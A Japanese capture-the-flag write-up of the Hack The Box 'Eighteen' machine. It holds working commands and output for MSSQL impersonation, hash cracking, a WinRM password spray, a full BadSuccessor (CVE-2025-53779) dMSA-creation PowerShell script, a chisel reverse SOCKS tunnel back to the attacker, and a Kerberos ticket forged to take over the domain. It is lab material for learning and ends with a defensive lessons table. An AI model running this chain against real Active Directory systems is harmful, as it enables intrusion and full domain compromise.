Hack The BoxのWriteup(Eighteen)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Eighteen — 全実行コマンド・実行結果レポート
Nmap スキャン
1433/5985
→
kevin –local-auth
MSSQL ログイン
→
EXECUTE AS LOGIN appdev
IMPERSONATE 権限悪用
→
Werkzeug pbkdf2 クラック
iloveyou1
→
WinRM スプレー
adam.scott / user.txt ✓
→
dMSA 作成 (ADSI)
Administrator に link
→
BadSuccessor TGT
getST.py -dmsa
→
smbclient (C$)
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.94.111
RESULT
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned
🚨
外部公開は MSSQL(1433) と WinRM(5985) のみ。LDAP(389)/Kerberos(88)/SMB(445) には 直接到達できない — この制約が後半の権限昇格フェーズでトンネリングを必須にする最大の要因。

MSSQL バナー確認

BASH
nmap -Pn -p 1433 --script ms-sql-ntlm-info 10.129.94.111
RESULT
| ms-sql-ntlm-info:
|   Target_Name: EIGHTEEN
|   NetBIOS_Domain_Name: EIGHTEEN
|   DNS_Domain_Name: eighteen.htb
|   DNS_Computer_Name: DC01.eighteen.htb
ℹ️
MSSQL のNTLM情報から DC のFQDN (DC01.eighteen.htb) とドメイン名を無認証で特定できる。 /etc/hosts に eighteen.htb と dc01.eighteen.htb を追記しておく。
PHASE 2

MSSQL ログイン impersonation で financial_planner DB を奪取

kevin (ローカル認証) で接続 → appdev へ impersonate

BASH
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.129.94.111'
# ※ -windows-auth は付けない (kevin は MSSQL ローカル SQL ログインであり
#    ドメインアカウントではないため、付けると
#    "Login failed. The login is from an untrusted domain" で即座に失敗する)

SQL> SELECT SUSER_NAME()
SQL> EXECUTE AS LOGIN = 'appdev'
SQL> SELECT SUSER_NAME()
SQL> use financial_planner
SQL> SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
SQL> SELECT * FROM dbo.users
RESULT
SQL (kevin  guest@master)>
-----
kevin
SQL (kevin  guest@master)> SQL (appdev  appdev@master)>
------
appdev
SQL (appdev  appdev@financial_planner)> TABLE_NAME
-----------
users
incomes
expenses
allocations
analytics
visits
SQL (appdev  appdev@financial_planner)>  id   full_name  username  email               password_hash
----  ---------  --------  ------------------  ------------------------------------------------------------------------------------------------------
1002  admin      admin     admin@eighteen.htb  pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
✅
kevin は sysadmin ではないが appdev ログインへの IMPERSONATE 権限を持つ。 EXECUTE AS LOGIN はセッションのセキュリティコンテキストを切替え (REVERT まで維持)、 appdev がアクセス可能な financial_planner DB の内容を全て読める。
PHASE 3

Werkzeug ハッシュ変換・クラック & WinRM スプレーで user.txt

Werkzeug 形式 → hashcat/john 形式へ変換

PYTHON
import re, base64

werkzeug_hash = "pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"
m = re.match(r'pbkdf2:sha256:(\d+)\$([^$]*)\$(.*)', werkzeug_hash)
iterations, salt, hexhash = m.group(1), m.group(2), m.group(3)
salt_b64 = base64.b64encode(salt.encode()).decode()
hash_b64 = base64.b64encode(bytes.fromhex(hexhash)).decode()
print(f"sha256:{iterations}:{salt_b64}:{hash_b64}")
RESULT
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
ℹ️
Werkzeug の pbkdf2:sha256:<iter>$<salt>$<hexhash> 形式は、 hashcat の mode 10900 (sha256:<iter>:<b64 salt>:<b64 hash bytes>) とは salt と hash の表現 (生文字列 vs base64、hex vs raw bytes) が異なるため、変換が必須。

hashcat でクラック

BASH
echo 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > e18_hash.txt
hashcat -m 10900 e18_hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable -o e18_crack.txt
cat e18_crack.txt
RESULT
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1

netexec mssql –rid-brute で有効ユーザー一覧を取得

BASH
netexec mssql 10.129.94.111 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
RESULT
MSSQL   10.129.94.111  1433  DC01  [+] EIGHTEEN\Administrator
MSSQL   10.129.94.111  1433  DC01  [+] EIGHTEEN\adam.scott
MSSQL   10.129.94.111  1433  DC01  [+] EIGHTEEN\jamie.dunn
MSSQL   10.129.94.111  1433  DC01  [+] EIGHTEEN\jane.smith
... (以下続く)
ℹ️
LDAP/SMB に到達できない制約下でも、MSSQL サービス経由の SID ブルートフォースで ドメインアカウント名を列挙できる (netexec の RID brute 機能、MSSQL だけで動作)。

クラック済みパスワードを WinRM へスプレー

BASH
netexec winrm 10.129.94.111 -u users.txt -p iloveyou1 -d eighteen.htb --continue-on-success
RESULT
WINRM  10.129.94.111  5985  DC01  [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

user.txt 取得

BASH
evil-winrm -i 10.129.94.111 -u adam.scott -p iloveyou1
*Evil-WinRM* PS> Get-Content C:\Users\adam.scott\Desktop\user.txt
RESULT
3adb383102518f0b19d0004c0d98a995
user.txt — adam.scott@eighteen.htb
3adb383102518f0b19d0004c0d98a995
PHASE 4

BadSuccessor — dMSA 作成 (ADSI, WinRM セッション内で直接実行)

脆弱性の背景 — dMSA / CVE-2025-53779

NOTE
この DC は Windows Server 2025 (Windows2025Domain/ForestMode) で稼働しており、
新機能「delegated Managed Service Account (dMSA)」の移行ロジックに脆弱性がある
(BadSuccessor / CVE-2025-53779)。dMSA は「既存アカウントの後継」として作成でき、
移行時に旧アカウントの権限を引き継ぐ仕組みを持つが、KDC はこの「後継関係」
(msDS-ManagedAccountPrecededByLink 属性) を正当な権限チェックなしに信頼してしまう。

対象 OU (OU=Staff,DC=eighteen,DC=htb) に CreateChild 権を持つ adam.scott は、
任意の dMSA オブジェクトを作成し、msDS-ManagedAccountPrecededByLink を
Administrator の DN に設定できる。これだけで、後にその dMSA の TGT を要求する際、
PAC に Administrator の全グループメンバーシップが付与されてしまう。

ADSI PowerShell で dMSA オブジェクトを作成

NOTE
WinRM 経由の adam.scott 認証セッションは Kerberos/NTLM で LDAP に直接書き込める
ため、Kali 側から LDAP(389) に到達できなくても、このステップは DC 上で
実行する PowerShell スクリプトだけで完結する (トンネル不要)。
POWERSHELL (attack_dmsa.ps1)
$srchAdmin = [adsisearcher]"(&(objectClass=user)(sAMAccountName=Administrator))"
$adminResult = $srchAdmin.FindOne()
$adminDN = $adminResult.Properties["distinguishedname"][0]

$srchAdam = [adsisearcher]"(&(objectClass=user)(sAMAccountName=adam.scott))"
$adamResult = $srchAdam.FindOne()
$adamSid = New-Object System.Security.Principal.SecurityIdentifier($adamResult.Properties["objectsid"][0], 0)

# dMSA の msDS-GroupMSAMembership に adam.scott へのフルコントロールを許可する SD
$sddl = "O:S-1-5-32-544D:(A;;0xf01ff;;;$($adamSid.Value))"
$rawSd = New-Object System.Security.AccessControl.RawSecurityDescriptor($sddl)
$sdBytes = New-Object byte[] ($rawSd.BinaryLength)
$rawSd.GetBinaryForm($sdBytes, 0)

$ouEntry = [ADSI]"LDAP://OU=Staff,DC=eighteen,DC=htb"
$dmsa = $ouEntry.Children.Add("CN=kavi_dmsa", "msDS-DelegatedManagedServiceAccount")
$dmsa.Properties["sAMAccountName"].Add("kavi_dmsa`$")
$dmsa.Properties["dNSHostName"].Add("kavi_dmsa.eighteen.htb")
$dmsa.Properties["msDS-ManagedPasswordInterval"].Value = 30
$dmsa.Properties["msDS-DelegatedMSAState"].Value = 2
$dmsa.Properties["msDS-ManagedAccountPrecededByLink"].Add($adminDN)   # ← Administrator に link
$dmsa.Properties["msDS-GroupMSAMembership"].Add($sdBytes)
$dmsa.Properties["msDS-SupportedEncryptionTypes"].Value = 0x1c
$dmsa.Properties["userAccountControl"].Value = 0x1000
$dmsa.CommitChanges()
BASH
# adam.scott の WinRM セッションでスクリプトを転送・実行
evil-winrm -i 10.129.94.111 -u adam.scott -p iloveyou1
*Evil-WinRM* PS> upload attack_dmsa.ps1 C:\programdata\attack_dmsa.ps1
*Evil-WinRM* PS> powershell -ExecutionPolicy Bypass -File C:\programdata\attack_dmsa.ps1
RESULT
DMSA_CREATED
dMSA created: CN=kavi_dmsa,OU=Staff,DC=eighteen,DC=htb
⚠️
ハマりポイント: このラボには KDS root key が存在しない (Get-KdsRootKey が空を返す)。そのため msDS-ManagedPassword を読んで dMSA の実パスワードを取得する経路は機能しない (実機検証で確認、blob が空)。 — だが本脆弱性の本体は「dMSA 作成さえできれば PAC が汚染される」ことであり、 managed password の実体を取得する必要は元々ない。次の Phase 5 で直接 TGT を要求する。
PHASE 5

chisel リバース SOCKS トンネル & getST.py -dmsa で BadSuccessor TGT を取得

chisel (v1.9.1 固定) でリバース SOCKS を確立

NOTE
Kali 側 apt 版 chisel (より新しいビルド) をそのまま使うと Windows 側 v1.9.1
クライアントとバージョン不一致になり、トンネルの制御チャネルは確立するが
実際のデータ転送 (SOCKS越し通信) が機能しない (実機検証で発見: ローカル
SOCKS待受ポートは立つのに全接続がタイムアウトする)。Kali側も同じ v1.9.1 を使う。
BASH
# Kali側: chisel server (v1.9.1 固定)
curl -sL https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz | gunzip > chisel_1.9.1
chmod +x chisel_1.9.1
./chisel_1.9.1 server -p 44428 --reverse &

# Windows側 (WinRM経由): chisel.exe クライアントをバックグラウンドで起動
# ※ WinRM/PSRemoting のジョブオブジェクトは、起動元シェルセッションが終了すると
#   子プロセスもまとめて kill する。同一コマンド内で Start-Sleep を長めに取り、
#   コマンド自体を非同期 (バックグラウンド) 実行することでトンネルを維持する
#   (実機検証で発見: セッション即終了だと接続した直後に切断される)
netexec winrm 10.129.94.111 -u adam.scott -p iloveyou1 -x \
  '$p = Start-Process -FilePath "C:\Windows\Tasks\chisel.exe" -ArgumentList "client <KALI_IP>:44428 R:socks" -NoNewWindow -PassThru; Start-Sleep -Seconds 150; $p.HasExited'
RESULT (chisel server ログ)
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:44428
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
ℹ️
chisel の R:socks 省略形は常に ローカル 127.0.0.1:1080 に SOCKS5 リスナーをバインドする (別ポートにしたい場合は R:9050:socks のように明示する必要がある)。

クロックスキュー測定 (DC のローカルタイムゾーンに注意)

NOTE
この環境の DC はローカルタイムゾーンが Pacific Time (UTC-7/8) に設定されている。
NTP(123/udp) は外部非公開のため ntpdate は使えず、WinRM の Get-Date で時刻を
取得するしかないが、ToUniversalTime() を付けずに素の Get-Date を使うと
ローカル(Pacific)時刻が返り、それを誤って UTC として扱うと約7時間の誤差になり
Kerberos が KRB_AP_ERR_SKEW (Clock skew too great) で必ず失敗する
(実機検証で発見: 素の Get-Date を使った初回の getST.py 試行は毎回ここで失敗した)。
BASH
netexec winrm 10.129.94.111 -u adam.scott -p iloveyou1 \
  -x '(Get-Date).ToUniversalTime().ToString("yyyy-MM-dd HH:mm:ss")'
date -u '+%Y-%m-%d %H:%M:%S'   # Kali 側 UTC 時刻
RESULT
DC (UTC変換後) : 2026-11-01 10:56:14
Kali (UTC)     : 2026-11-01 03:47:52
→ オフセット = +25702秒 (約+7時間8分)  ※ DC が進んでいる方向

getST.py -dmsa でBadSuccessor TGT を取得

BASH
cat > proxychains.conf <<'EOF'
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
EOF

TZ=UTC faketime "+25702 seconds" proxychains4 -f proxychains.conf python3 \
  /usr/share/doc/python3-impacket/examples/getST.py \
  -dc-ip 10.129.94.111 -impersonate 'kavi_dmsa$' -self -dmsa \
  'eighteen.htb/adam.scott:iloveyou1'
RESULT
[*] Getting TGT for user
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.129.94.111:88  ...  OK
[*] Impersonating kavi_dmsa$
[*] Requesting S4U2self
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.129.94.111:88  ...  OK
[*] Current keys:
[*]   EncryptionTypes.aes256_cts_hmac_sha1_96:543e6adf15fa5b3a995d1b63573e4a2711509bfc1d83aff615bb8527cc755728
[*]   EncryptionTypes.rc4_hmac:da5767fcf854f3bd2323dcb852c9ddd7
[*] Saving ticket in kavi_dmsa$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
✅
BadSuccessor 発動成功。 通常なら全く無関係な新規アカウントのはずの kavi_dmsa$ に対して S4U2Self で要求した TGT に、 msDS-ManagedAccountPrecededByLink で紐付けた Administrator の PAC (全グループメンバーシップ) がそのまま付与される。これが CVE-2025-53779 の核心。
PHASE 6

smbclient (C$) で root.txt を取得

取得した ccache を使い C$ 共有へ接続

NOTE
wmiexec.py 等の DCOM 方式は動的 RPC ポートを使うため SOCKS 越しでは不安定
(実機検証で複数回タイムアウト)。SMB(445) のみで済む smbclient.py を使う。
BASH
cat > smb_cmds.txt <<'EOF'
use C$
cd Users\Administrator\Desktop
get root.txt
exit
EOF

TZ=UTC faketime "+25702 seconds" proxychains4 -f proxychains.conf bash -c \
  "KRB5CCNAME='$(pwd)/kavi_dmsa\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache' \
   python3 /usr/share/doc/python3-impacket/examples/smbclient.py \
   -k -no-pass 'eighteen.htb/kavi_dmsa\$@dc01.eighteen.htb' < smb_cmds.txt"

cat root.txt
RESULT
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.129.94.111:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  EIGHTEEN.HTB:88  ...  OK
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# # # #
dce71a09b766f7ed4cc792ae614e3e98
root.txt — Administrator@dc01.eighteen.htb
dce71a09b766f7ed4cc792ae614e3e98
⚠️
ハマりポイント: ccache のパスを cd loot && KRB5CCNAME='相対パス' のように組み立てると、cd 後のカレントディレクトリから見て相対パスが二重に解釈され No such file or directory になる (実機検証で発見)。KRB5CCNAME には必ず 絶対パスを使うこと。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — adam.scott@eighteen.htb
3adb383102518f0b19d0004c0d98a995
root.txt — Administrator@dc01.eighteen.htb
dce71a09b766f7ed4cc792ae614e3e98

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
MSSQL ログイン impersonation SQL Server (EXECUTE AS LOGIN) appdev の権限で DB アクセス Medium kevin は appdev への IMPERSONATE 権限を持ち、パスワード不要でコンテキスト切替
平文類似パスワードハッシュの DB 保存 financial_planner.dbo.users 資格情報漏洩 Medium Werkzeug pbkdf2 ハッシュを hashcat 形式へ変換しクラック (iloveyou1)
BadSuccessor (CVE-2025-53779) Windows Server 2025 AD dMSA 機能 任意ユーザーへの権限昇格 (Domain Admin 相当) Critical 対象OUへのCreateChild権のみで、Administratorにlinkしたdmsaを作成しTGTのPACを汚染

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート1433(MSSQL)/5985(WinRM)のみ外部公開
2MSSQL impersonationkevin –local-auth → EXECUTE AS LOGIN appdevfinancial_planner.dbo.users の Werkzeug ハッシュ
3クラック & スプレーhashcat -m 10900 変換クラック + netexec rid-brute + WinRM sprayuser.txt (adam.scott)
4dMSA作成ADSI PowerShell (WinRMセッション内)Administrator にlinkしたdmsa ‘kavi_dmsa$’
5トンネル & TGTchisel SOCKS + faketime + getST.py -dmsaAdministrator PAC付きdMSA TGT (ccache)
6フラグ取得smbclient.py -k -no-pass (C$)root.txt

学んだ教訓 & 防御策

問題点防御策
低権限 MSSQL ログインに他ログインへの IMPERSONATE 権限が付与されている 最小権限の原則を徹底し、IMPERSONATE 権限は本当に必要なサービスアカウントのみに限定する。
アプリケーション DB にパスワードハッシュが平文で保存・読み取り可能 アプリケーション層からのDB直接クエリを制限し、ハッシュへのアクセス自体を最小化する。弱いマスターパスワードの使い回しを避ける。
BadSuccessor (CVE-2025-53779): dMSA の後継リンクが検証なしに信頼される Microsoft のセキュリティ更新を適用する。OU への CreateChild 権限の委任を最小化し、 dMSA オブジェクトの作成・msDS-ManagedAccountPrecededByLink 属性の変更を監視する。
HackTheBox: Eighteen | 完全攻略レポート